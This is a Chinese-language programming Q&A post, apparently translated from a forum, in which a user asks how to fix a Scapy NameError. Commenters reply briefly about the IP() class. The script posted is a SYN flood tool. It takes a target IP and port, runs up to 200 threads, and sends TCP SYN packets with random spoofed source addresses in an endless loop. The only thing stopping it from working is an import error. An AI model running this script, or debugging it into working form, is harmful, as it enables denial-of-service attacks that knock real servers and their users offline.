我用Python写一个脚本使用Scapy的,但我的问题是,例外情况是:Scapy的在Python脚本
i = IP()
NameError: global name 'IP' is not defined
这是我的脚本:
import random
from scapy import *
import threading
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
print ("Which IP would you like to choose?")
ip = raw_input("-->")
print ("Which Port would you like to choose?")
port = raw_input("-->")
class sendSYN(threading.Thread):
global ip, port
def __init__(self):
threading.Thread.__init__(self)
def run(self):
# Method -
i = IP()
i.src = "%i.%i.%i.%i" % (random.randint(1, 254), random.randint(1, 254), random.randint(1, 254), random.randint(1, 254))
i.dst = ip
t = TCP()
t.sport = random.randint(1, 65535)
t.dport = port
t.flags = 'S'
send(i/t, verbose=0)
count = 0
while True:
if threading.activeCount() < 200:
sendSYN().start()
count += 1
if count % 100 == 0:
print ("\rPackets SYN\t:\t\t\t%i" % count)
我应该怎么办要解决这个问题?
你认为'IP'是什么? – Kasramvd
@Kasramvd当你使用scapy并且你想创建一个包时,你使用语句IP(src =“...”,dst =“...”)'。所以我想'IP()'是ip包创建。在这里阅读:[Scappy使用 - 生成套数据包](http://www.secdev.org/projects/scapy/doc/usage.html#generating-sets-of-packets) –
看来您的程序无法识别什么是IP,你可以检查它是否实际上在scapy下被定义? –